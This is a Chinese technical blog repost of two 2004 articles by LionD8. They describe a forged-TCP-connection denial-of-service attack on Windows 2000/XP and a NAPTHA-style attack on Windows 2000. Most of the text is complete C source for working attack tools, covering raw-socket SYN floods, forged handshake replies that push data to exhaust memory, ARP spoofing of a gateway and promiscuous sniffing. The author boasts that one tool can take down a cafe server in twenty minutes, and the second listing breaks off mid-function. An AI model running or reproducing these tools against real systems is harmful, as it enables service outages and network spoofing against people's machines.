2004年10月24日

新型D.o.S(伪造TCP连接进行数据传输的D.o.S)
首发于xfocus。
http://www.xfocus.net/articles/200408/728.html

 

Author:LionD8
Email:liond8@126.com
qq: 10415468
My Website: liond8.126.com
Date: 2004.08.12

测试平台 VC++6.0 Windows2000 server
目标平台 Windows 2000 , Windows Xp

    突发奇想,受NAPTHA攻击方式的启发,希望能把这种伪造连接的方式扩展到个人的PC上,并且不受局域网的这个条件因素的限制。才去花了时间去研究了一下下面写的东西,好了不废话了。现在拿出来和大家Share一下,还不是很成熟,希望能和大家多多讨论。
    关于NAPTHA原来写过一篇NAPTHA在2000下的实现。为什么要利用一个局域网,仅仅是为了更好的隐藏吗?还有一个更重要的因素应该是避免自己的主机响应远程主机发出的第二此握手的包,防止系统发出RST包断开掉伪造的连接。另外原来测试过NAPTHA对windows系统并没有多大的影响。消耗不到windows的多少内存。如果再伪造连接成功过后再传输数据呢?
    A为攻击者 C被攻击者:
    A Syn ——–> C
    A Syn,Ack <—–C
    A Ack ——–> C
    A 发送数据—–> C
    A Ack <——– C
    A 发送数据—–> C
    A Ack <——– C
    …

测试结果:
    对于一般的临时端口比较有效对于1025端口来说,相当的有效。内存持续上升最后最后可以导致计算机由于资源不足无响应,死机。20分钟可以拖死一个网吧的服务器。
    对于80端口最大连接数100,效果不是十分的明显,消耗掉40M内存就开始反复了,留下大量的FIN_WAIT_1状态和ESTABLISHED状态。
    对于其他的一些端口由于环境有限测试相当不方便。方便的朋友可以告诉我您的测试结果。欢迎讨论。

所以下面要解决的问题大致就有2个:
1.Hook掉本机发出的Rst数据包
    参考flashsky老大的《书写NDIS过滤钩子驱动实现ip包过滤》
    http://www.xfocus.net/articles/200210/457.html
    仅仅是修改一行代码就ok了。
把 if(Packet[13]==0×2 && SendInterfaceIndex==INVALID_PF_IF_INDEX)
修改为 if(Packet[13]==0×4 && SendInterfaceIndex!=INVALID_PF_IF_INDEX)
详细见原文。原文讲得很详细.

2.伪造数据的传输
    通过Sniffer分析,要想对方相信这个伪造的连接还在Syn包发出的时候要加上选项数据,协商能够接收的数据包的大小。否则,就算建立了连接过后对方也不回接受发出的数据,就是说想消耗对方的内存就不行了。对于一般的syn扫描,还有NAPTHA请求连接的时候TCP header长度都是20,是没有选项数据的。例如的我2000上选项是8字节,而我朋友的2000则是12字节。以我的机器为例8字节,所以TCP header长度要变成28字节。即tcp_head.th_lenres=0×70.
另外还有一个地方要指出就是关于TCP头部的效验和的计算。
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1)
    {
        cksum+=*buffer++;
        size -=sizeof(USHORT);
    }
    if(size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}
如果带有数据在20字节的TCP头部的后面,这个和Windows2000系统算出来的就不一样。经过分析和数据长度有关系。如果说20字节的IP头,20字节的TCP头,加2字节的数据。如果用checksum计算出TCP效验和为0×4523.但是系统计算出来的就是0×4323
所以:
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+dwSize);
tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)dwSize);
dwSize为带的数据的长度。否则对方不接收伪造的数据包。那么要达到消耗对方内存的目的也不行了。

下面是测试的代码。考虑到此程序还是有一定的危害的效果所以没有写成十分方便的测试程序,需要手工sniffer选项字节。然后在命令行下面输入选项字节。
例如:
GzDos.exe 192.168.248.128 1025 020405B401010402 1000 65534
GzDos.exe <Attack IP> <Attack Port> <OptString> <SleepTime> <StartPort>

源代码:
#include “stdio.h”
#include “winsock2.h”
#include “windows.h”
#include <ws2tcpip.h>
#include “wchar.h”

#pragma comment(lib, “ws2_32.lib”)

#define SIO_RCVALL            _WSAIOW(IOC_VENDOR,1)

char*    ATTACKIP =    ”192.168.248.128″;
USHORT    ATTACKPORT =    135;
USHORT    StartPort = 1;
int        SLEEPTIME =    2000;
UCHAR* optbuf = NULL;    //  选项字节
char* psend = NULL;
DWORD len = 0;
USHORT optlen= 0;

typedef struct ip_head      
{
    unsigned char h_verlen;    
    unsigned char tos;        
    unsigned short total_len;  
    unsigned short ident;      
    unsigned short frag_and_flags;
    unsigned char ttl;        
    unsigned char proto;    
    unsigned short checksum;  
    unsigned int sourceIP;    
    unsigned int destIP;        
}IPHEADER;

typedef struct tcp_head  
{
    USHORT th_sport;          
    USHORT th_dport;        
    unsigned int th_seq;      
    unsigned int th_ack;      
    unsigned char th_lenres;      
    unsigned char th_flag;      
    USHORT th_win;          
    USHORT th_sum;          
    USHORT th_urp;          
}TCPHEADER;

typedef struct tsd_hdr  
{
    unsigned long saddr;  
    unsigned long daddr;  
    char mbz;
    char ptcl;              
    unsigned short tcpl;  
}PSDHEADER;

typedef struct attack_obj
{
    DWORD    dwIP;
    USHORT    uAttackPort[11];
    struct attack_obj*    Next;
}ATOBJ;

ATOBJ*    ListAttackObj=0;

////////////////////////////////////////////////////
BOOL    InitStart();
DWORD    GetHostIP();
USHORT    checksum(USHORT *buffer, int size);
DWORD    WINAPI  ThreadSynFlood(LPVOID lp);
void    SendData(DWORD SEQ, DWORD ACK, USHORT SPort, USHORT APort, DWORD SIP, DWORD AIP, char* pBuf,BOOL Isdata,DWORD dwSize);
DWORD   WINAPI  ListeningFunc(LPVOID lpvoid);
void    Banner();
void debugip ( DWORD dwip);
void ConvertOpt (CHAR* pu);
////////////////////////////////////////////////////

SOCKET sock = NULL;

int main(int argc, char* argv[])
{
    Banner();
    psend = (char*)malloc(800);
    memset(psend,0×38,799);
    psend[799] = 0;
    len = strlen(psend);
    if ( argc < 5)
    {
        printf(“input error!\n”);
        return -1;
    }
    ATTACKIP = strdup(argv[1]);
    ATTACKPORT = atoi(argv[2]);
    CHAR* optbuftemp = (CHAR*)strdup(argv[3]);    
    ConvertOpt (optbuftemp);
    if ( argc == 5)
        SLEEPTIME = atoi(argv[4]);
    if ( argc == 6)
    {
        SLEEPTIME = atoi(argv[4]);
        StartPort = atoi(argv[5]);
    }
    char HostName[255]={0};
    if ( InitStart() == FALSE )
        return -1;
    if ( optbuf != NULL)
    {
        int i=0;
        struct hostent* lp = NULL;
        
        gethostname(HostName,255);
        lp = gethostbyname (HostName);
        while ( lp->h_addr_list[i] != NULL )
        {
            HANDLE    h=NULL;
            DWORD    dwIP=0;    
            dwIP = *(DWORD*)lp->h_addr_list[i++];
            h=CreateThread(NULL,NULL,ListeningFunc,(LPVOID)dwIP,NULL,NULL);            
            if ( h == NULL )
            {
                printf(“Create ListeningFunc Thread False!\n”);
                return -1;
            }
            Sleep(500);
        }
            ThreadSynFlood(NULL);
    }
    else return -1;
  
    Sleep(5555555);

}

BOOL InitStart()
{
    BOOL flag;
    int  nTimeOver;
    WSADATA WSAData;
    if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
    {
        printf(“WSAStartup Error!\n”);
        return FALSE;
    }
    ListAttackObj = (ATOBJ*) calloc (1,sizeof(ATOBJ));
    ListAttackObj->dwIP = inet_addr( ATTACKIP );
    ListAttackObj->uAttackPort[0] = htons(ATTACKPORT);
    ListAttackObj->uAttackPort[1] = 0;
    ListAttackObj->Next=NULL;
    sock=NULL;
    if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
    {
        printf(“Socket Setup Error!\n”);
        return FALSE;
    }
    flag=true;
    if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
    {
        printf(“setsockopt IP_HDRINCL error!\n”);
        return FALSE;
    }
    nTimeOver=2000;
    if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)                                //设置发送的时间
    {
        printf(“setsockopt SO_SNDTIMEO error!\n”);
        return FALSE;
    }    
    return TRUE;
}

DWORD  WINAPI  ThreadSynFlood(LPVOID lp)
{
    ATOBJ* pAtObj = ListAttackObj;
    SOCKADDR_IN addr_in;
    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;
    char szSendBuf[1024]={0};
    int i=0;
    while (  pAtObj != NULL )
    {
        addr_in.sin_family=AF_INET;
        addr_in.sin_addr.S_un.S_addr=pAtObj->dwIP;
        ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
        ipHeader.tos=0;
        ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+optlen);     //IP总长度
        ipHeader.ident=1;
        ipHeader.frag_and_flags=0×0040;                
        ipHeader.ttl=0×80;        
        ipHeader.proto=IPPROTO_TCP;
        ipHeader.checksum=0;
        ipHeader.destIP=pAtObj->dwIP;
        ipHeader.sourceIP = GetHostIP();
        tcpHeader.th_ack=0;    
        tcpHeader.th_lenres = (optlen/4+5)<<4;
        tcpHeader.th_flag=2;            
        tcpHeader.th_win=htons(0×4470);
        tcpHeader.th_urp=0;
        tcpHeader.th_seq=htonl(0×00198288);
        for ( int l=StartPort; l<65535;l++)
        {
            int k =0;
            while ( pAtObj->uAttackPort[k] != 0 )
            {
                tcpHeader.th_dport=pAtObj->uAttackPort[k++];
                psdHeader.daddr=ipHeader.destIP;
                psdHeader.mbz=0;
                psdHeader.ptcl=IPPROTO_TCP;
                psdHeader.tcpl=htons(sizeof(tcpHeader));
                int sendnum = 0;            
                int optlentemp = optlen;
                tcpHeader.th_sport=htons(l);
                tcpHeader.th_sum=0;
                psdHeader.saddr=ipHeader.sourceIP;
                memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
                memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
                memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),optbuf,optlentemp);
                tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+optlentemp);
                tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)optlentemp);        
                memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
                memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
                memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader),optbuf,optlentemp);
                int rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)+optlentemp, 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
                if ( sendnum++ > 10 )
                {
                    sendnum=0;
                }
                if (rect==SOCKET_ERROR)
                {
                    printf(“send error!:%x\n”,WSAGetLastError());
                    return false;
                }
                else    printf(“            send ok %d \n”, l);                    
            }//endwhile
            Sleep(SLEEPTIME);  
        }
        pAtObj = pAtObj->Next;
    }
    return 0;
}

DWORD GetHostIP()
{
    DWORD dwIP=0;
    int i=0;
    struct hostent* lp = NULL;
    char HostName[255] = {0};
    gethostname(HostName,255);
    lp = gethostbyname (HostName);
    while ( lp->h_addr_list[i] != NULL )
        i++;
    dwIP = *(DWORD*)lp->h_addr_list[--i];
    return dwIP;
}
    
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1)
    {
        cksum+=*buffer++;
        size -=sizeof(USHORT);
    }
    if(size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}

DWORD   WINAPI  ListeningFunc(LPVOID lpvoid)
{
    SOCKET rawsock;
    SOCKADDR_IN addr_in={0};
    if ((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
    {
        printf(“Sniffer Socket Setup Error!\n”);
        return false;
    }
    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(8288);
    addr_in.sin_addr.S_un.S_addr= (DWORD)lpvoid;
    //对rawsock绑定本机IP和端口
    int ret=bind(rawsock, (struct sockaddr *)&addr_in, sizeof(addr_in));
    if(ret==SOCKET_ERROR)
    {
        printf(“bind false\n”);
        exit(0);
    }
    DWORD lpvBuffer = 1;
    DWORD lpcbBytesReturned = 0;
    WSAIoctl(rawsock, SIO_RCVALL, &lpvBuffer, sizeof(lpvBuffer), NULL, 0, &lpcbBytesReturned, NULL, NULL);
    while (TRUE)
    {
        SOCKADDR_IN from={0};
        int  size=sizeof(from);
        char RecvBuf[256]={0};
        //接收数据包
        ret=recvfrom(rawsock,RecvBuf,sizeof(RecvBuf),0,(struct sockaddr*)&from,&size);
        if(ret!=SOCKET_ERROR)
        {
            // 分析数据包
            IPHEADER *lpIPheader;
            lpIPheader=(IPHEADER *)RecvBuf;
            if (lpIPheader->proto==IPPROTO_TCP && lpIPheader->sourceIP == inet_addr(ATTACKIP) )
            {
            
                TCPHEADER *lpTCPheader=(TCPHEADER*)(RecvBuf+sizeof(IPHEADER));
                //判断是不是远程开放端口返回的数据包
                if ( lpTCPheader->th_flag==0×12)
                {
                    if ( lpTCPheader->th_ack == htonl(0×00198289) )
                    {//伪造第3次握手
                        SendData(lpTCPheader->th_ack,htonl(ntohl(lpTCPheader->th_seq)+1), \
                        lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,NULL,FALSE,0);
                        //主动发出一次数据
                        SendData(lpTCPheader->th_ack,htonl(ntohl(lpTCPheader->th_seq)+1), \
                        lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,psend,TRUE,len);
                    }
                
                }
                else
                {
                    if ( lpTCPheader->th_flag == 0×10 )
                    //继续发送数据
                    SendData(lpTCPheader->th_ack,lpTCPheader->th_seq,\
                    lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,psend,TRUE,len);
                }

            }            
            
        }
    }     // end while

}

void SendData(DWORD SEQ, DWORD ACK, USHORT SPort, USHORT APort, DWORD SIP, DWORD AIP, char* pBuf, BOOL Isdata,DWORD dwSize)
{
  
    SOCKADDR_IN addr_in;
    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;

    char szSendBuf[1024]={0};
    addr_in.sin_family=AF_INET;
    addr_in.sin_port = APort;
    addr_in.sin_addr.S_un.S_addr = AIP;
    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
    ipHeader.tos=0;

    ipHeader.ident=1;
    ipHeader.frag_and_flags=0×0040;                
    ipHeader.ttl=0×80;        
    ipHeader.proto=IPPROTO_TCP;
    ipHeader.checksum=0;
    ipHeader.destIP=AIP;
    ipHeader.sourceIP = SIP;
    tcpHeader.th_dport = APort;
    tcpHeader.th_ack = ACK;  
    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
    tcpHeader.th_seq= SEQ;
    tcpHeader.th_win=htons(0×4470);
    tcpHeader.th_sport=SPort;
    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+dwSize);
    if ( !Isdata)
    {

        tcpHeader.th_flag=0×10;
    
    }//    ack  
    else
    {
        tcpHeader.th_flag=0×18;
    }
    tcpHeader.th_urp=0;
    psdHeader.daddr=ipHeader.destIP;
    psdHeader.mbz=0;
    psdHeader.ptcl=IPPROTO_TCP;
    psdHeader.tcpl=htons(sizeof(tcpHeader));    
    tcpHeader.th_sum=0;
    psdHeader.saddr=ipHeader.sourceIP;
    memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
    memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
    if ( pBuf != NULL )
    {    
        memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),pBuf,dwSize);
        tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+dwSize);
        tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)dwSize);
    }
    else
    {
        tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
    }

    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
    memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
    int rect=0;
    if ( pBuf == NULL )
        rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
    else
    {
        memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), pBuf, dwSize);
        rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)+dwSize, 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
    }

    if (rect==SOCKET_ERROR)
    {
        printf(“send error!:%x\n”,WSAGetLastError());
        return;
    }
    else    
    {
        if ( pBuf != NULL )
            printf(“SendData ok %d\n”,ntohs(SPort));
        else
            printf(“                    SendAck ok %d\n”,ntohs(SPort));
    }

}

void Banner()
{
    printf(“****************************************************\n”);
    printf(“                   狗仔 D.o.S test\n”);
    printf(“Maker By LionD8. QQ:10415468. Email:liond8@eyou.com\n”);
    printf(“    Welcome to my website: http://liond8.126.com\n”);
    printf(“   仅供授权测试使用,否则引起任何法律纠纷后果自负\n”);
    printf(“****************************************************\n”);

    printf(“GzDos.exe <Attack IP> <Attack Port> <OptString> <SleepTime = default 2000> <StartPort>\n”);
}

void debugip ( DWORD dwip)
{

    struct in_addr A = {0};
    A.S_un.S_addr = dwip;
    printf(“%s”,inet_ntoa(A));

}

void ConvertOpt (CHAR* pu)
{
    int i=0 , lentemp;
    lentemp = strlen(pu);
    optlen = lentemp/2;
    optbuf = (UCHAR*)malloc(optlen);
    int k=0;
    for ( i = 0 ; i < lentemp ; i+=2 )
    {
        BYTE tempb = 0;
        tempb = pu[i+1];
        if ( tempb < ‘9′)
            tempb = tempb – 0×30;
        else
        {
            tempb = tempb – 0×37;
        }

        optbuf[k] = tempb;

        tempb = 0;
        tempb = pu[i];
        if ( tempb < ‘9′)
            tempb = tempb – 0×30;
        else
        {
            tempb = tempb – 0×37;
        }

        tempb= tempb<<4;
        optbuf[k]+= tempb;
        k++;
    }
}
参考文献:
书写NDIS过滤钩子驱动实现ip包过滤
TCP/IP详解第一卷

NAPTHA攻击方式在2K下的简单实现

/*            

  作者:LionD8
  EMAIL:liond8@eyou.com
  出处:https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=33339&p=117598

  我的窝:http://liond8.126.com
  2004.2.16 凌晨

  简单原理:
  1.欺骗网关,让网关知道幻影主机的MAC.
  2.嗅探局域网中的所有数据包,判断是不是返回给虚幻主机的
  第2次握手的数据包。如果是,就伪造第3次握手.
  3.发送伪造的SYN报文.
  
  通过消耗对方的维护连接的资源进行DOS。占用通道等。

  详细原理请见Warning3老大整理的 《新型网络DoS(拒绝服务)攻击漏洞 – “Naptha”》
  我就不废话了。
  地址: http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721

*/

///////////////////////////////////////////////////
//以下代码在2K VC6.0下编译通过
//在虚拟机上测试,好像2k系统如《新型网络DoS(拒绝服务)攻击漏洞 – “Naptha”》
//所说,不受什么影响.
///////////////////////////////////////////////////

#include “stdio.h”
#include “Packet32.h”
#include “windows.h”
#include <ws2tcpip.h>
#include “winsock2.h”
#include “wchar.h”

#define        EPT_IP            0×0800          
#define        EPT_ARP            0×0806          
#define        ARP_HARDWARE    0×0001            
#define        ARP_REQUEST        0×0001          
#define        ARP_REPLY        0×0002

#define NDIS_PACKET_TYPE_PROMISCUOUS 0×0020 //混杂模式

#pragma comment(lib, “packet.lib”)
#pragma comment(lib, “ws2_32.lib”)

#pragma pack(push, 1)

typedef struct ehhdr
{
    UCHAR    eh_dst[6];      
    UCHAR    eh_src[6];        
    USHORT   eh_type;      
}EHHEADR, *PEHHEADR;

typedef struct arphdr
{
    USHORT    arp_hrd;          
    USHORT    arp_pro;          
    UCHAR     arp_hln;          
    UCHAR     arp_pln;        
    USHORT    arp_op;          
    UCHAR     arp_sha[6];        
    ULONG     arp_spa;          
    UCHAR     arp_tha[6];      
    ULONG     arp_tpa;          
}ARPHEADR, *PARPHEADR;

typedef struct arpPacket
{
    EHHEADR    ehhdr;
    ARPHEADR   arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

typedef struct ip_head      
{
unsigned char h_verlen;    
unsigned char tos;        
unsigned short total_len;  
unsigned short ident;      
unsigned short frag_and_flags;
unsigned char ttl;        
unsigned char proto;      
unsigned short checksum;  
unsigned int sourceIP;    
unsigned int destIP;        
}IPHEADER;

typedef struct tcp_head  
{
USHORT th_sport;         
USHORT th_dport;         
unsigned int th_seq;     
unsigned int th_ack;     
unsigned char th_lenres;      
unsigned char th_flag;      
USHORT th_win;          
USHORT th_sum;         
USHORT th_urp;         
}TCPHEADER;

typedef struct tsd_hdr  
{
unsigned long saddr;  
unsigned long daddr;  
char mbz;
char ptcl;              
unsigned short tcpl;  
}PSDHEADER;

DWORD  WINAPI  ThreadArpSnoop(LPVOID lp);
USHORT checksum(USHORT *buffer, int size);
DWORD  WINAPI  ThreadSynFlood(LPVOID lp);
DWORD  WINAPI    SnifferSynAck(LPVOID lp);
void    SendAck ( DWORD    SEQ , DWORD    ACK ,USHORT    SPort);
void    AnalyseData    (LPPACKET lpPacket);

#define        ATPORT    80                    //攻击端口
#define        ATIP    ”192.168.1.1″        //攻击IP
#define        GATE    ”192.168.85.1″        //网关
#define        SNOOPIP    ”192.168.85.250″    //幻影主机IP
#define        SLEEPTIME    1000            
UCHAR    DMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; //广播
UCHAR    SMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFE}; //幻影主机MAC

BOOL  IsGoOn = TRUE;

void main()
{

    IsGoOn = FALSE;
    CreateThread(NULL,NULL,ThreadArpSnoop,NULL,NULL,NULL);

    while ( !IsGoOn )
        Sleep(1);
    IsGoOn = FALSE;
    CreateThread(NULL,NULL,SnifferSynAck,NULL,NULL,NULL);
    while ( !IsGoOn )
        Sleep(1);
    CreateThread(NULL,NULL,ThreadSynFlood,NULL,NULL,NULL);

    while (1)
    Sleep(1000000);

}

DWORD  WINAPI  ThreadArpSnoop(LPVOID lp)
{
    static CHAR  AdapterList[10][1024];    
    TCHAR          szPacketBuf[512];
    LPADAPTER    lpAdapter;
    LPPACKET     lpPacket;
    WCHAR        AdapterName[2048];
    WCHAR        *temp,*temp1;
    ARPPACKET    ARPPacket;
    ULONG         AdapterLength = 1024;
    DWORD         AdapterNum = 0;
    DWORD         nRetCode, i;

    if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
    {
        printf(“Unable to retrieve the list of the adapters!\n”);
        return 0;
    }
    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != ‘\0′)||(*(temp-1) != ‘\0′))
    {
        if (*temp == ‘\0′)
        {
            memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));
            temp1=temp+1;
            i++;
        }
        temp++;
    }
    AdapterNum = i;
    for (i = 0; i < AdapterNum; i++)
    wprintf(L”\n%d- %s\n”, i+1, AdapterList[i]);
    printf(“\nPlease select adapter number:”);
    scanf(“%d”,&i);        
    if(i>AdapterNum)
    {
        printf(“\nInput Number error!”);
        return 0;
    }

    IsGoOn = TRUE;
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]);    
    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
        nRetCode = GetLastError();
        printf(“Unable to open the driver, Error Code : %lx\n”, nRetCode);
        return 0;
    }

    lpPacket = PacketAllocatePacket();
    if(lpPacket == NULL)
    {
        printf(“\nError:failed to allocate the LPPACKET structure.”);
        return 0;
    }
    memset(szPacketBuf, 0, sizeof(szPacketBuf));    
    memcpy(ARPPacket.ehhdr.eh_dst, DMacAddr, 6);                 
    memcpy(ARPPacket.ehhdr.eh_src, SMacAddr, 6);    
    ARPPacket.ehhdr.eh_type  = htons(EPT_ARP);        
    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);    
    ARPPacket.arphdr.arp_hln = 6;                    
    ARPPacket.arphdr.arp_pln = 4;
    ARPPacket.arphdr.arp_op = htons(1);        
    memcpy(ARPPacket.arphdr.arp_sha, SMacAddr, 6);  
    ARPPacket.arphdr.arp_spa = inet_addr(SNOOPIP);          
    memset(ARPPacket.arphdr.arp_tha,0,6);            
    ARPPacket.arphdr.arp_tpa = inet_addr(GATE);     
    memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));    
    PacketInitPacket(lpPacket, szPacketBuf, 60);
    
    if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
    {
        printf(“warning: Unable to send more than one packet in a single write!\n”);
    }
    while ( 1 )
    {
        if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
        {
            printf(“Error sending the packets!\n”);
            return 0;
        }
        Sleep(30000);
    }
    PacketFreePacket(lpPacket);            
    PacketCloseAdapter(lpAdapter);    
    return 0;
}

DWORD  WINAPI  ThreadSynFlood(LPVOID lp)
{
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;
    int SourcePort;

    char szSendBuf[60]={0};
    BOOL flag;
    int rect,nTimeOver;
    if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
    {
        printf(“WSAStartup Error!\n”);
        return 0;
    }

    sock=NULL;
    if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
    {
        printf(“Socket Setup Error!\n”);
        return 0;
    }

    flag=true;
    if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
    {
        printf(“setsockopt IP_HDRINCL error!\n”);
        return false;
    }

    nTimeOver=1000;
    if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)                                //设置发送的时间
    {
        printf(“setsockopt SO_SNDTIMEO error!\n”);
        return false;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(ATPORT);
    addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);
    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
    ipHeader.tos=0;
    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));     //IP总长度
    ipHeader.ident=1;
    ipHeader.frag_and_flags=0;                
    ipHeader.ttl=123;        
    ipHeader.proto=IPPROTO_TCP;
    ipHeader.checksum=0;
    ipHeader.destIP=inet_addr(ATIP);
    tcpHeader.th_dport=htons(ATPORT);
    tcpHeader.th_ack=0;                
    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
    tcpHeader.th_flag=2;             
    tcpHeader.th_win=htons(512);
    tcpHeader.th_urp=0;
    tcpHeader.th_seq=htonl(0×12345678);      

    psdHeader.daddr=ipHeader.destIP;
    psdHeader.mbz=0;
    psdHeader.ptcl=IPPROTO_TCP;
    psdHeader.tcpl=htons(sizeof(tcpHeader));

    ipHeader.sourceIP=inet_addr(SNOOPIP);
    while(TRUE)
    {
        SourcePort=GetTickCount()%65534;

        tcpHeader.th_sport=htons(SourcePort);
        tcpHeader.th_sum=0;
        psdHeader.saddr=ipHeader.sourceIP;

        memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
        memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
        tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

    
        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
        memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

        rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
        if (rect==SOCKET_ERROR)
        {
            printf(“send error!:%x\n”,WSAGetLastError());
            return false;
        }
        else    printf(“send ok!\n”);

        Sleep(SLEEPTIME);                            
    }//endwhile                    
    closesocket(sock);
    WSACleanup();
    return 0;
}

USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1)
    {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
    }
    if(size)
    {
    cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}

DWORD    WINAPI    SnifferSynAck(LPVOID lp)
{
    LPADAPTER    lpAdapter;
    static CHAR AdapterList[10][1024];
    ULONG        AdapterNum;
    WCHAR       AdapterName[2048];
    WCHAR       *temp,*temp1;
    ULONG        AdapterLength=1024;
    ULONG        i,adapter_num=0;

    if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
    {
        printf(“Unable to retrieve the list of the adapters!\n”);
        return 0;
    }
    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != ‘\0′)||(*(temp-1) != ‘\0′))
    {
        if (*temp == ‘\0′)
        {
            memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));
            temp1=temp+1;
            i++;
        }
        temp++;
    }
    AdapterNum = i;
    for (i = 0; i < AdapterNum; i++)
    wprintf(L”\n%d- %s\n”, i+1, AdapterList[i]);
    printf(“\nPlease select adapter number:”);
    scanf(“%d”,&i);        
    if(i>AdapterNum)
    {
        printf(“\nInput Number error!”);
        return 0;
    }
    IsGoOn = TRUE;

